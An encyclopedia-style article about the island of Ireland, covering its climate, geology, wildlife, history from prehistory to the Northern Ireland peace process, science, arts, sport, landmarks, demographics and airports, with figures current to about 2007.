          Precipitation falls throughout the year, but is light overall, particularly in the east. The west, however, tends to be wetter on average and prone to the full force of Atlantic storms, more especially in the late autumn and winter months, which occasionally bring destructive winds and high rainfall totals to these areas, as well as snow and hail. The regions of North Galway and East Mayo have the highest incidents of recorded lightning annually (5 to 10 days per year). Munster in the south records the least snow with Ulster in the north more prone to snow. Some areas along the south and southwest coasts have not had any lying snow since February 1991.


          Inland areas are warmer in summer, and colder in winter - there are usually around 40 days of below freezing temperatures (0 C/32 F) at inland weather stations, but only 10 days at coastal stations. Ireland is sometimes affected by heat waves, most recently 1995, 2003, 2006.


          


          Geology
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          Geologically the island consists of a number of provinces - in the far west around Galway and Donegal is a medium to high grade metamorphic and igneous complex of Caledonide (Scottish Highland) affinity. Across southeast Ulster and extending southwest to Longford and south to Navan is a province of Ordovician and Silurian rocks with more affinities with the Southern Uplands province of Scotland. Further south, there is an area along the Wexford coast of granite intrusives into more Ordovician and Silurian rocks with a more Welsh affinity.


          In the southwest, around Bantry Bay and the mountains of Macgillicuddy's Reeks, is an area of substantially deformed but only lightly metamorphosed Devonian-aged rocks.


          This partial ring of "hard rock" geology is covered by a blanket of Carboniferous limestone over the centre of the country, giving rise to the comparatively fertile and famously "lush" landscape of the country. The west coast district of The Burren around Lisdoonvarna has well developed karst features. Elsewhere, significant stratiform lead-zinc mineralisation is found in the limestones (around Silvermines and Tynagh).


          Hydrocarbon exploration is continuing. The first major find was the Kinsale Head gas field off Cork/ Cobh by Marathon Oil in the mid-1970s. More recently, in 1999, Enterprise Oil announced the discovery of the Corrib Gas Field. This has increased activity off the west coast in parallel with the " West of Shetland" step-out development from the North Sea hydrocarbon province. Exploration continues, with a frontier well planned north of Donegal for August 2006 and continuing drilling of prospects in the Irish Sea and St Georges Channel.


          


          Wildlife


          Ireland has fewer animal and plant species than either Britain or mainland Europe because it became an island shortly after the end of the last glacial period, about 10,000 years ago. Many different habitat types are found in Ireland, including farmland, open woodland, temperate broadleaf and mixed forests, conifer plantations, peat bogs, and various coastal habitats. According to the WWF, the territory of Ireland can be subdivided into two ecoregions: the Celtic broadleaf forests and North Atlantic moist mixed forests.


          


          Fauna


          Only 26 land mammal species are native to Ireland, because it was isolated from Europe by rising sea levels after the Ice Age. Some species, such as the red fox, hedgehog, and badger are very common, whereas others, like the Irish hare, red deer and pine marten are less so. Aquatic wild-life, such as species of turtle, shark, whale, and dolphin, are common off the coast. About 400 species of birds have been recorded in Ireland. Many of these are migratory, including the Barn Swallow. Most of Ireland's bird species come from Iceland, Greenland, Africa among other territories. There are no snakes in Ireland and only one reptile (the common lizard) is native to the country. Extinct species include the great Irish elk, the wolf, the great auk, and others. Some previously extinct birds, such as the Golden Eagle, have recently been reintroduced after decades of extirpation.


          Agriculture drives current land use patterns in Ireland, limiting natural habitat preserves, particularly for larger wild mammals with greater territorial needs. With no top predator in Ireland, populations of animals that cannot be controlled by smaller predators (such as the fox) are controlled by annual culling, i.e. semi-wild populations of deer.


          


          Flora


          Phytogeographically, Ireland belongs to the Atlantic European province of the Circumboreal Region within the Boreal Kingdom. Until medival times Ireland was heavily forested with oak, pine, beech and birch. Forests now cover about 9% (4,450km or one million acres) of the land. Because of its mild climate, many species, including sub-tropical species such as palm trees, are grown in Ireland. Much of the land is now covered with pasture, and there are many species of wild-flower. Gorse ( Ulex europaeus), a wild furze, is commonly found growing in the uplands, and ferns are plentiful in the more moist regions, especially in the western parts of Ireland. It is home to hundreds of plant species, some of them unique to the island. The country has been "invaded" by some grasses, such as Spartina anglica.


          The algal and seaweed flora is that of the cold-temperate. The total number of species is:- Rhodophyta: 264; Heterokontophyta: 152; Chloropyta: 114; Cyanophyta: 31 giving a total of 574. Rarer species include: Itonoa marginifera (J.Ag.) Masuda & Guiry); Schmitzia hiscockiana Maggs and Guiry; Gelidiella calcicola Maggs & Guiry; Gelidium maggsiae Rico & Guiry and Halymenia latifolia P.Crouan & H.Crouan ex Ktzing. The country has been invaded by some algae, some of which are now well established: Asparagopsis armara Harvey - which originated in Australia and was first recorded by M. De Valera in 1939; Colpomenia peregrina Sauvageau - now locally abundant and first recorded in the 1930s; Sargassum muticum (Yendo) Fensholt - now well established in a number of localities on the south, west, and north-east coasts; Codium fragile ssp. fragile (formerly reported as ssp. tomentosum) - now well established. Codium fragile ssp. atlanticum has recently been established to be native, although for many years it was regarded as an alien species.


          


          The impact of agriculture


          The long history of agricultural production coupled with modern intensive agricultural methods (such as pesticide and fertiliser use) has placed pressure on biodiversity in Ireland. "Runoff" of contaminants into streams, rivers and lakes impact the natural fresh-water ecosystems. A land of green fields for crop cultivation and cattle rearing limits the space available for the establishment of native wild species. Hedgerows however, traditionally used for maintaining and demarcating land boundaries, act as a refuge for native wild flora. Their ecosystems stretch across the countryside and act as a network of connections to preserve remnants of the ecosystem that once covered the island. Subsidies under the Common Agricultural Policy which supported these agricultural practices are undergoing reforms. The CAP still subsidises some potentially destructive agricultural practices, however, the recent reforms have gradually decoupled subsidies from production levels and introduced environmental and other requirements.


          Forest covers about 10% of the country, with most designated for commercial production. Forested areas typically consist of monoculture plantations of non-native species which may result in habitats that are not suitable for supporting a broad range of native species of invertebrates. Remnants of native forest can be found scattered around the country, in particular in the Killarney National Park. Natural areas require fencing to prevent over-grazing by deer and sheep that roam over uncultivated areas. This is one of the main factors preventing the natural regeneration of forests across many regions of the country.
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          A long cold climatic spell prevailed until the end of the last glacial period about 9,000 years ago, and most of Ireland was covered with ice. Sea-levels were lower then, and Ireland, as with its neighbour Britain, rather than being islands, were part of a greater continental Europe. Mesolithic stone age inhabitants arrived some time after 8000 BC. Agriculture arrived with the Neolithic circa 4500 to 4000 BC, when sheep, goats, cattle and cereals were imported from southwest continental Europe. At the Cide Fields in County Mayo, an extensive Neolithic field system - arguably the oldest in the world - has been preserved beneath a blanket of peat. Consisting of small fields separated from one another by dry-stone walls, the Cide Fields were farmed for several centuries between 3500 and 3000 BC. Wheat and barley were the principal crops.


          The Bronze Age, which began around 2500 BC, saw the production of elaborate gold as well as bronze ornaments, weapons and tools. The Iron Age in Ireland was supposedly associated with people known as Celts. They are traditionally thought to have colonised Ireland in a series of waves between the 8th and 1st centuries BC, with the Gaels, the last wave of Celts, conquering the island and dividing it into five or more kingdoms. Many scientists and academic scholars now favour a view that emphasises cultural diffusion from overseas over significant colonisation such as what Clonycavan Man was reported to be. The Romans referred to Ireland as Hibernia and/or Scotia. Ptolemy in AD 100 records Ireland's geography and tribes. Native accounts are confined to Irish poetry, myth, and archaeology. The exact relationship between Rome and the tribes of Hibernia is unclear; the only references are a few Roman writings.


          In medieval times, a monarch (also known as the High King) presided over the (then five) provinces of Ireland. These provinces too had their own kings, who were at least nominally subject to the monarch, who resided at Tara. The written judicial system was the Brehon Law, and it was administered by professional learned jurists who were known as the Brehons.


          According to early medieval chronicles, in 431, Bishop Palladius arrived in Ireland on a mission from Pope Celestine I to minister to the Irish "already believing in Christ." (This was to convert the Celtic Church to Roman Catholicism). The same chronicles record that Saint Patrick, Ireland's patron saint, arrived in 432. There is continued debate over the missions of Palladius and Patrick, but the general consensus is that they both existed and that 7th century annalists may have mis-attributed some of their activities to each other. Palladius most likely went to Leinster, while Patrick is believed to have gone to Ulster, where he probably spent time in captivity as a young man.


          The druid tradition collapsed in the face of the spread of the new religion. Irish Christian scholars excelled in the study of Latin and Greek learning and Christian theology in the monasteries that flourished, preserving Latin and Greek learning during the Early Middle Ages. The arts of manuscript illumination, metalworking, and sculpture flourished and produced such treasures as the Book of Kells, ornate jewellery, and the many carved stone crosses that dot the island. From the 9th century, waves of Viking raiders plundered monasteries and towns, adding to a pattern of endemic raiding and warfare. Eventually Vikings settled in Ireland, and established many towns, including the modern day cities of Dublin, Cork, Limerick and Waterford.
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          From 1169, Ireland was entered by Cambro-Norman warlords, led by Richard de Clare, 2nd Earl of Pembroke (Strongbow), on an invitation from the then King of Leinster. In 1171, King Henry II of England came to Ireland, using the 1155 Bull Laudabiliter issued to him by then Pope Adrian IV, to claim sovereignty over the island, and forced the Cambro-Norman warlords and some of the Gaelic Irish kings to accept him as their overlord. From the 13th century, English law began to be introduced. By the late thirteenth century the Norman-Irish had established the feudal system throughout most of lowland Ireland. Their settlement was characterised by the establishment of baronies, manors, towns and large land-owning monastic communities, and the county system. The towns of Dublin, Cork, Wexford, Waterford, Limerick, Galway, New Ross, Kilkenny, Carlingford, Drogheda, Sligo, Athenry, Arklow, Buttevant, Carlow, Carrick-on-Suir, Cashel, Clonmel, Dundalk, Enniscorthy, Kildare, Kinsale, Mullingar, Naas, Navan, Nenagh, Thurles, Wicklow, Trim and Youghal were all under Norman-Irish control.


          In the 14th century the English settlement went into a period of decline and large areas, for example Sligo, were re-occupied by Gaelic septs. The medieval English presence in Ireland was deeply shaken by Black Death, which arrived in Ireland in 1348. From the late 15th century English rule was once again expanded, first through the efforts of the Earls of Kildare and Ormond then through the activities of the Tudor State under Henry VIII and Mary and Elizabeth. This resulted in the complete conquest of Ireland by 1603 and the final collapse of the Gaelic social and political superstructure at the end of the 17th century, as a result of English and Scottish Protestant colonisation in the Plantations of Ireland, and the Wars of the Three Kingdoms and the Williamite War in Ireland. Approximately 600,000 people, nearly half the Irish population, died during the Cromwellian conquest of Ireland.
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          After the Irish Rebellion of 1641, Irish Catholics and nonconforming Protestants were barred from voting or attending the Irish Parliament. The new English Protestant ruling class was known as the Protestant Ascendancy. Towards the end of the 18th century the entirely Anglican Irish Parliament attained a greater degree of independence from the British Parliament than it had previously held. Under the penal laws no Irish Catholic could sit in the Parliament of Ireland, even though some 90% of Ireland's population was native Irish Catholic when the first of these bans was introduced in 1691. This ban was followed by others in 1703 and 1709 as part of a comprehensive system disadvantaging the Catholic community, and to a lesser extent Protestant dissenters. In 1798, many members of this dissenter tradition made common cause with Catholics in a rebellion inspired and led by the Society of United Irishmen. It was staged with the aim of creating a fully independent Ireland as a state with a republican constitution. Despite assistance from France the Irish Rebellion of 1798 was put down by British forces.


          In 1800, the British and subsequently the Irish Parliament passed the Act of Union which, in 1801, merged the Kingdom of Ireland and the Kingdom of Great Britain to create the United Kingdom of Great Britain and Ireland. The passage of the Act in the Irish Parliament was achieved with substantial majorities, in part (according to contemporary documents) through bribery, namely the awarding of peerages and honours to critics to get their votes. Thus, Ireland became part of an extended United Kingdom, ruled directly by the UK Parliament in London.


          The Great Famine, which began in the 1840s, caused the deaths of one million Irish people, and caused over a million to emigrate. By the late 1840s, as a result of the famine, half of all immigrants to the United States originated from Ireland. A total of 35 million Americans (12% of total population) reported Irish ancestry in the 2005 American Community Survey. Mass emigration became entrenched as a result of the famine and the population continued to decline until late in the 20th century. The pre-famine peak was over 8 million recorded in the 1841 census. The population has never returned to this level.


          The 19th and early 20th century saw the rise of Irish nationalism among the Roman Catholic population. Daniel O'Connell led a successful campaign for Catholic Emancipation, which was passed by the United Kingdom parliament. A subsequent campaign for repeal of the Act of Union failed. Later in the century Charles Stewart Parnell and others campaigned for self-government within the Union or " home rule". Protestants, largely concentrated in Ulster, who considered themselves to be British as well as Irish, were strongly opposed to home rule, under which they would be dominated by Catholic and Southern interests. To prevent home rule the Ulster Volunteers were formed in 1913 under the leadership of Lord Carson, and to impose home rule the Irish Volunteers were formed in the South in 1914 under John Redmond. Armed rebellions, such as the Easter Rising of 1916 and the Irish War of Independence of 1919, occurred in this period. In 1921, a treaty was concluded between the British Government and the leaders of the Irish Republic. The Treaty recognised the two-state solution created in the Government of Ireland Act 1920. Northern Ireland was presumed to form a home rule state within the new Irish Free State unless it opted out. Northern Ireland had a majority Protestant population and opted out as expected, choosing to remain part of the United Kingdom, incorporating, however, within its border a significant Catholic and nationalist minority. A Boundary Commission was set up to decide on the boundaries between the two Irish states, though it was subsequently abandoned after it recommended only minor adjustments to the border. Disagreements over some provisions of the treaty led to a split in the nationalist movement and subsequently to the Irish Civil War. The Civil War ended in 1923 with the defeat of the anti-treaty forces.
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          The Anglo-Irish Treaty was ratified by the Dil in January 1922 by a vote of 64 - 57. The minority refused to accept the result and this resulted in the Irish Civil War, which lasted until 1923. On 6th December 1922, in the middle of the Civil War, the Irish Free State came into being. During its early years the new state was governed by the victors of the Civil War. However, in the 1930s Fianna Fil, the party of the opponents of the treaty, was elected into government. The party proposed, and the electorate accepted in a referendum in 1937, a new constitution which renamed the state "ire or in the English language, Ireland" (article 4 of the Constitution).


          The state was neutral during World War II, which was known internally as The Emergency. It offered some assistance to the Allies, especially in Northern Ireland. It is estimated that around 50,000 volunteers from ire/Ireland joined the British armed forces during the Second World War. In 1949, Ireland declared itself to be a republic.


          Ireland experienced large-scale emigration in the 1950s and again in the 1980s. From 1987 the economy improved and the 1990s saw the beginning of unprecedented economic success, in a phenomenon known as the " Celtic Tiger". By 2007 it had become the fifth richest country (in terms of GDP per capita) in the world, and the second richest in the European Union, moving from being a net recipient of the budget to becoming a net contributor during the next budget round (2007-13), and from a country of net emigration to one of net immigration. In October 2006, there were talks between Ireland and the U.S. to negotiate a new immigration policy between the two countries, in response to the growth of the Irish economy and desire of many U.S. citizens who sought to move to Ireland for work.
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          Northern Ireland was created as an administrative division of the United Kingdom by the Government of Ireland Act 1920. From 1921 until 1972, Northern Ireland enjoyed limited self-government within the United Kingdom, with its own parliament and prime minister.


          In the first half of the 20th century, Northern Ireland was largely spared the strife of the Civil War, but there were sporadic episodes of inter-communal violence between nationalists and unionists during the decades that followed partition. Although the Irish Free State was neutral during World War II, Northern Ireland as part of the United Kingdom was not, and became involved in the British war effort (albeit without military conscription as it was introduced in Great Britain). Belfast suffered a bombing raid from the German Luftwaffe in 1941.


          In elections to the 1921-1972 regional government, the Protestant and Catholic communities in Northern Ireland each voted largely along sectarian lines, meaning that the Government of Northern Ireland (elected by "first past the post" from 1929) was controlled by the Ulster Unionist Party. Over time, the minority Catholic community felt increasingly alienated by the regional government, with further disaffection fuelled by practices such as gerrymandering of the local council in Derry, and alleged discrimination against Catholics in housing and employment.


          In the late 1960s nationalist grievances were aired publicly in mass civil rights protests, which were often confronted by loyalist counter-protests. The Government's reaction to confrontations was seen to be one-sided and heavy-handed, and law and order broke down as unrest and inter-communal violence increased. In August 1969, the regional government requested that the British Army be deployed to aid the police, who were exhausted after several nights of serious rioting. In 1970, the paramilitary Provisional IRA, which favoured the creation of a united Ireland, was formed and began a campaign against what it called the "British occupation of the six counties". Other groups, on both the unionist side and the nationalist side, participated in the violence and the period known as " The Troubles" began, resulting in over 3600 deaths over the subsequent three decades. Owing to the civil unrest during "The Troubles", the British government suspended home rule in 1972 and imposed "direct rule" from Westminster.


          There were several (ultimately unsuccessful) political attempts to end "The Troubles", such as the Sunningdale Agreement of 1973 and the Anglo-Irish Agreement of 1985. In 1998, following a Provisional IRA ceasefire and multi-party talks, the Belfast Agreement was concluded and ratified by referendum. This agreement attempted to restore self-government to Northern Ireland on the basis of power-sharing between the two communities. Violence decreased greatly after the signing of the accord, and on 28 July 2005, the Provisional IRA announced the end of its armed campaign and international weapons inspectors supervised what they currently regard as the full decommissioning of the Provisional IRA's weapons. The power-sharing assembly was suspended several times but restored from 8 May 2007.


          From 2 August 2007, Britain officially ended its military support of the police in Northern Ireland, and began withdrawing troops. (In 1972, British troops numbered more than 25,000 in Northern Ireland. After the withdrawal, a garrison of approximately 5,000 is all that remains.)


          


          Science


          Ireland has a rich history in science and is known for its excellence in scientific research conducted at its many universities and institutions. Noted particularly is Ireland's contributions to fibre optics technology and related technologies.


          Founder of modern chemistry Robert Boyle was an Anglo-Irish natural philosopher, chemist, physicist, inventor and early gentleman scientist, noted for his work in physics and chemistry. He is best known for the formulation of Boyle's law.


          Other notable Irish Physicists include Ernest Walton (winner of the 1951 Nobel Prize in Physics with Sir John Douglas Cockcroft for splitting the nucleus of the atom by artificial means and contributions in the development of a new theory of wave equation), George Johnstone Stoney (famous for introducing the term electron in 1874 and as the uncle of the physicist George FitzGerald and distant relative of mathematician Alan Turing), Joseph Larmor (who predicted the phenomenon of time dilation [for orbiting electrons] and published a paper describing FitzGerald-Lorentz contraction some two years before Hendrik Lorentz and some eight years before Albert Einstein), John Stewart Bell (famous as the originator of Bell's Theorem and his paper concerning the discovery of the Bell-Jackiw-Adler anomaly - Bell was nominated for a Nobel prize), George Francis FitzGerald, sir George Gabriel Stokes and many others.


          Notable mathematicians include Sir William Rowan Hamilton (mathematician, physicist, astronomer and discoverer of quaternions), Francis Ysidro Edgeworth (influential in the development of neo-classical economics, including the Edgeworth box), John B. Cosgrave (specialist in number theory, former head of the mathematics department of St. Patrick's College and discoverer of a new 2000-digit prime number in 1999 and a record composite Fermat number in 2003) and John Lighton Synge (who made progress in different fields of science, including mechanics and geometrical methods in general relativity and who had mathematician John Nash as one of his students).


          The Dublin Institute for Advanced Studies (DIAS) was established in 1940 by the Taoiseach amon de Valera. In 1940, physicist Erwin Schrdinger received an invitation to help establish the Institute. He became the Director of the School for Theoretical Physics and remained there for 17 years, during which time he became a naturalized Irish citizen.
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          Literature and the arts


          For an island of relatively small population, Ireland has made a disproportionately large contribution to world literature in all its branches, mainly in English. Poetry in Irish represents the oldest vernacular poetry in Europe with the earliest examples dating from the 6th century; Jonathan Swift, still often called the foremost satirist in the English language, was wildly popular in his day for works such as Gulliver's Travels and A Modest Proposal, and he remains so in modern times. More recently, Ireland has produced four winners of the Nobel Prize for Literature: George Bernard Shaw, William Butler Yeats, Samuel Beckett and Seamus Heaney. Although not a Nobel Prize winner, James Joyce is widely considered one of the most significant writers of the 20th century; Samuel Beckett himself refused to attend his own Nobel award ceremony, in protest of Joyce not having received the award. Joyce's 1922 novel Ulysses is considered one of the most important works of Modernist literature, and his life is celebrated annually on June 16 in Dublin as the Bloomsday celebrations.


          The early history of Irish visual art is generally considered to begin with early carvings found at sites such as Newgrange. It is traced through Bronze age artifacts, particularly ornamental gold objects, and the religious carvings and illuminated manuscripts of the medival period. During the course of the 19th and 20th centuries, a strong indigenous tradition of painting emerged, including such figures as John Butler Yeats, William Orpen, Jack Yeats and Louis le Brocquy.


          Modern Irish literature is still often connected with its rural heritage, though writers like John McGahern and poets like Seamus Heaney. There is a thriving performing arts culture in many Irish centres, most particularly in Galway.


          


          Music and dance


          The Irish tradition of folk music and dance is also widely known. In the middle years of the 20th century, as Irish society was attempting to modernise, traditional music tended to fall out of favour, especially in urban areas. During the 1960s, and inspired by the American folk music movement, there was a revival of interest in the Irish tradition. This revival was led by such groups as The Dubliners, The Chieftains, The Wolfe Tones, the Clancy Brothers, Sweeney's Men, and individuals like Sen  Riada and Christy Moore. Irish and Scottish traditional music share some similar characteristics.


          Before too long, groups and musicians including Horslips, Van Morrison, and Thin Lizzy were incorporating elements of traditional music into a rock idiom to form a unique new sound. During the 1970s and 1980s, the distinction between traditional and rock musicians became blurred, with many individuals regularly crossing over between these styles of playing as a matter of course. This trend can be seen more recently in the work of artists like U2, Enya, Flogging Molly, Moya Brennan, The Saw Doctors, Bell X1, Damien Rice, The Corrs, Aslan, Sinad O'Connor, Clannad, The Cranberries, Rory Gallagher, Westlife, B*witched, BoyZone, Gilbert O'Sullivan, Black 47, VNV Nation, Wolfe Tones, Ash, The Thrills, Stars of Heaven, Something Happens, A House, Sharon Shannon, Damien Dempsey, Declan O' Rourke, The Frames and The Pogues.


          During the 1990s, a subgenre of folk metal emerged in Ireland that fused heavy metal music with Irish and Celtic music. The pioneers of this subgenre were Cruachan, Primordial and Waylander.


          Irish music has shown an immense increase in popularity with many attempting to return to their roots. Some contemporary music groups stick closer to a "traditional" sound, including Altan, Teada, Dan, Dervish, Lnasa, and Solas. Others incorporate multiple cultures in a fusion of styles, such as Afro Celt Sound System and Kla.


          The Republic of Ireland has done well in the Eurovision Song Contest, being the most successful country in the competition, with seven wins in 1970 with Dana, 1980 and 1987 with Johnny Logan, 1992 with Linda Martin, 1993 with Niamh Kavanagh, 1994 with Paul Harrington and Charlie McGettigan and in 1996 with Eimear Quinn.


          


          Sport


          The most popular sports in Ireland are Gaelic Football and Association Football. Together with Hurling and Rugby, they make up the four biggest team sports in Ireland. Gaelic Football is the most popular in terms of match attendance and community involvement, and the All-Ireland Football Final is the biggest day in Ireland's sporting calendar. Association football, meanwhile, is the most commonly played team sport in Ireland and the most popular sport in which Ireland fields international teams Furthermore, there is a large measure of Irish interest in the English and (to a lesser extent) Scottish soccer leagues. Many other sports are also played and followed, particularly golf and horse racing but also show jumping, greyhound racing, swimming, boxing, basketball, cricket, fishing, handball, motorsport, tennis and hockey.


          Hurling and Gaelic football, along with camogie, ladies' Gaelic football, handball and rounders, make up the national sports of Ireland, collectively known as Gaelic games. All Gaelic games are governed by the Gaelic Athletic Association (GAA), with the exception of ladies' Gaelic football and Camogie, which are governed by separate organisations. The GAA is organised on an all-Ireland basis with all 32 counties competing. The headquarters of the GAA (and the main stadium) is located at the 82,500 capacity Croke Park in north Dublin. Major GAA games are played there, including the semi-finals and finals of the All-Ireland Senior Football Championship and All-Ireland Senior Hurling Championship. During the redevelopment of the Lansdowne Road stadium, international rugby and soccer are also being played there. All GAA players, even at the highest level, are amateurs, receiving no wages (although they are allowed to receive a certain amount of income from sources such as sponsorship, grants or scholarships).


          The Irish Football Association (IFA) was originally the governing body for Association football throughout the island. The game has been played in Ireland since the 1860s ( Cliftonville F.C. of Belfast being Ireland's oldest club, but remained a minority sport outside of Ulster until the 1880s. However, some clubs based outside Belfast felt that the IFA largely favoured Ulster-based, Protestant clubs in such matters as selection for the national team. Following an incident in which, despite an earlier promise, the IFA, for security reasons, moved an Irish Cup final replay from Dublin to Belfast, the clubs based in what would soon become the Free State set up a new Football Association of the Irish Free State (FAIFS) - now known as the Football Association of Ireland (FAI) - in 1921.


          Despite being initially blacklisted by the Home Nations' associations, the FAI was recognised by FIFA in 1923 and organised its first international fixture in 1926 (against Italy. However, both the IFA and FAI continued to select their teams from the whole of Ireland, with some players earning international caps for matches with both teams. Both also referred to their respective teams as "Ireland". In 1950, FIFA directed the associations only to select players from within their respective territories, and in 1953 FIFA further clarified that the FAI's team was to be known only as " Republic of Ireland", and the IFA's team only as " Northern Ireland" (with certain exceptions).


          Northern Ireland qualified for the World Cup finals in 1958 (reaching the quarter-finals), 1982 and 1986. The Republic qualified for the World Cup in 1990 (reaching the quarter-finals), 1994, 2002 and the European Championships in 1988. The IFA still retains all-Ireland cups and trophies at its Belfast HQ.


          The Irish rugby team includes players from north and south, and the Irish Rugby Football Union governs the sport on both sides of the border. Consequently in international rugby, the Ireland team represents the whole island. The Irish rugby team have played in every Rugby World Cup, making the quarter-finals at four of them. Ireland also hosted games during the 1991 Rugby World Cup and the 1999 Rugby World Cup (including a quarter-final). There are also four professional provincial sides that contest the Magners League and European Heineken Cup. Irish rugby has become increasingly competitive at both the international and provincial levels since the sport went professional in 1994. During that time, Ulster (1999) and Munster (2006) have both won the European Cup.


          As with rugby and Gaelic games, cricket, golf, tennis, rowing, hockey and most other sports are organised on an all-island basis.


          Greyhound racing and horse racing are both popular in Ireland: greyhound stadiums are well attended and there are frequent horse race meetings. The Republic is noted for the breeding and training of race horses and is also a large exporter of racing dogs. The horse racing sector is largely concentrated in the central east of the Republic.


          Boxing is also an all-island sport governed by the Irish Amateur Boxing Association. In 1992 Michael Carruth won a gold medal for boxing in the Olympic Games in Barcelona.


          Irish athletics has seen some development in recent times, with Sonia O' Sullivan winning Gold at the World Championships in 1995 in the 5,000 metres and Silver in the 2000 Olympics in Sydney at the same distance. Gillian O'Sullivan winning silver in the 20k walk at the World Championship's in 2003 and sprint hurdler Derval O'Rourke taking gold at the World Indoor Championships in Moscow in 2006.


          Golf is a popular sport in Ireland and golf tourism is a major industry. The 2006 Ryder Cup was held at The K Club in County Kildare. Padraig Harrington became the first Irishman since Fred Daly in 1947 to win the British Open at Carnoustie in July 2007.


          In 2007, the Irish cricket team was among the associate nations which qualified for the 2007 Cricket World Cup. The Irish team defeated Pakistan and finished second in its pool, earning a place in the Super 8 section of the competition.


          The west coast of Ireland, Lahinch and Donegal Bay in particular, have popular surfing beaches; being fully exposed to the fury of the Atlantic Ocean. Surfing in Ireland attracts surfers aiming to catch Europe's largest waves. Donegal Bay is shaped like a funnel and catches West/South-West Atlantic winds, creating good surf - especially in winter. In recent years, Bundoran has hosted European championship surfing. The south-west of Ireland, such as the Dingle Peninsula and Lahinch also have surf beaches.


          Scuba diving is increasingly popular in Ireland with clear waters and large populations of sea life, particularly along the western seaboard. There are also many shipwrecks along the coast of Ireland, with some of the best wreck dives being in Malin Head and off the County Cork coast.


          With thousands of lakes, over 14,000kilometres (8,700mi) of fish bearing rivers, and over 3,700kilometres (2,300mi) of coastline, Ireland is a popular angling destination. The temperate Irish climate is suited to sport angling. While salmon and trout fishing remain popular with anglers, salmon fishing in particular received a boost in 2006 with the closing of the salmon driftnet fishery. Coarse fishing continues to increase its profile. Sea angling is developed with many beaches mapped and signposted, and in recent times the range of sea angling species has increased.


          


          Places of interest


          Some interesting places to visit on the island of Ireland include the following:
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            	The Aran Islands, Co. Galway


            	Blarney Castle, Co. Cork


            	Bunratty Castle, Co. Clare


            	The Burren, Co. Clare


            	Cahir Castle near Cahir, Co Tipperary


            	Carrickfergus Castle, Co. Antrim


            	Clonmacnoise Co. Offaly


            	Croagh Patrick, Co. Mayo


            	Cliffs of Moher, Co. Clare


            	Walled City of Derry


            	Dingle Peninsula, Co. Kerry


            	The Giant's Causeway, Co. Antrim


            	Glendalough, Co. Wicklow


            	The Glens of Antrim, Co. Antrim


            	Glenveagh National Park, Co. Donegal


            	Grianan of Aileach, Co. Donegal


            	Hill of Tara, Co. Meath


            	Killarney National Park, Co. Kerry


            	Kilkenny Castle, Co. Kilkenny


            	King John's Castle (Limerick)


            	Knock Shrine, Co. Mayo


            	Kylemore Abbey, Co. Galway


            	The Mourne Mountains, Co. Down


            	Newgrange, Co. Meath


            	Phoenix Park, Co. Dublin, the largest enclosed urban public park in Europe.


            	The Rock of Cashel, Co. Tipperary


            	Skellig Michael, Co. Kerry


            	Tory Island, Co. Donegal


            	Trim Castle, Co. Meath


            	Trinity College, Dublin, Co. Dublin. Houses the Book of Kells


            	The Wicklow Way, Co. Wicklow

          


          


          Modern architecture


          In the 20th century, Irish architecture followed the international trend towards modern, sleek and often radical building styles, particularly after independence in the first half of the century. New building materials and old were utilised in new ways to maximise style, space, light and energy efficiency. 1928 saw the construction of Ireland's first all concrete Art Deco church in Turners Cross, Cork. The building was designed by Chicago architect Barry Byrne and met with a cool reception among those more accustomed to traditional designs.


          In 1953, one of Ireland's most radical buildings, Bus ireann's main Dublin terminal building, better known as Busras, was completed. It was built despite huge public opposition and excessive costs of over 1 million. Michael Scott, its architect is now considered one of the most important architects of the twentieth century in Ireland.


          A significant change in Ireland's architecture has taken place over the last few years, with a major shift towards the European continental ethos of architecture and urbanity. There are currently four buildings in planning that would eclipse the country's current tallest building record - currently held by Cork County Hall in Cork. These projects include the Elysian Building in Cork and the U2 Building, Players Mill and The Tall Building in Dublin. One of the most symbolic structures of modern Irish architecture is the Spire of Dublin. Completed in January 2003, the structure was nominated in 2004 for the prestigious Stirling Prize.


          


          Demographics
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          Ireland has been inhabited for at least 9,000 years, although little is known about the paleolithic and neolithic inhabitants of the island (other than by inference from genetic research in 2004 that challenges the idea of migration from central Europe and proposes a flow along the Atlantic coast from Spain). Early historical and genealogical records note the existence of dozens of different peoples that may or may not be "mythological" ( Cruithne, Attacotti, Conmaicne, Eganachta, rainn, Soghain, to name but a few).
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          During the past 1,000 years or so, Vikings, Normans, Scots and English have all added to the indigenous gene pool.


          Ireland's largest religious group is the Catholic Church (over 73% for the entire island, and about 86.8% for the Republic), and most of the rest of the population adhere to one of the various Protestant denominations. The largest is the Anglican Church of Ireland. The Irish Muslim community is growing, mostly through increased immigration (see Islam in Ireland). The island also has a small Jewish community (see History of the Jews in Ireland), although this has declined somewhat in recent years. Over 4% of the Republic's population describe themselves as of no religion.


          Ireland has for centuries been a place of emigration, particularly to England, Scotland, the United States, Canada, and Australia, see Irish diaspora. With growing prosperity, Ireland has become a place of immigration instead. Since joining the EU in 2004, Polish people have been the largest source of immigrants (over 150,000) from Central Europe, followed by other immigrants from Lithuania, the Czech Republic and Latvia.


          Ireland's high standard of living, high wage economy and EU membership attract many migrants from the newest of the European Union countries: Ireland has had a significant number of Romanian immigrants since the 1990s. In recent years, mainland Chinese have been migrating to Ireland in significant numbers. Nigerians, along with people from other African countries have accounted for a large proportion of the non-European Union migrants to Ireland.


          Ireland is multilingual but predominantly English-speaking, with Irish, the first official language of the Republic, the second most commonly spoken language. In the North, English is the de facto official language, but official recognition is afforded to both Irish and Ulster-Scots language. All three languages are spoken on both sides of the border. In recent decades, with the increase of immigration on an all-Ireland basis, many more languages have been introduced, particularly deriving from Asia and Eastern Europe, such as Chinese, Polish, Rusian, Turkish and Latvian.


          


          Cities


          After Dublin (1.7m in Greater Dublin), Ireland's largest cities are Belfast (800,000) in Greater Belfast), Cork (380,000 in Greater Cork), Derry (94,329 in Derry Urban Area), Limerick (93,321 incl. suburbs Limerick urban area), Galway (71,983), Lisburn (71,465), Waterford (49,240 including suburbs), Newry (27,433), Kilkenny (23,967 incl. suburbs) and Armagh (14,590).


          


          Transport


          


          Air
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          There are five main international airports in Ireland: Dublin Airport, Belfast International Airport (Aldergrove), Cork Airport, Shannon Airport and Ireland West Airport (Knock) . Dublin Airport is the busiest airport in Ireland, carrying over 22 million passengers per year; a new terminal and runway is now under construction, costing over 2 billion. All provide services to Great Britain and continental Europe, while Belfast International, Dublin, Shannon and Ireland West (Knock) also offer a range of transatlantic services. Shannon was once an important stopover on the trans-Atlantic route for refuelling operations and, with Dublin, is still one of the Ireland's two designated transatlantic gateway airports.


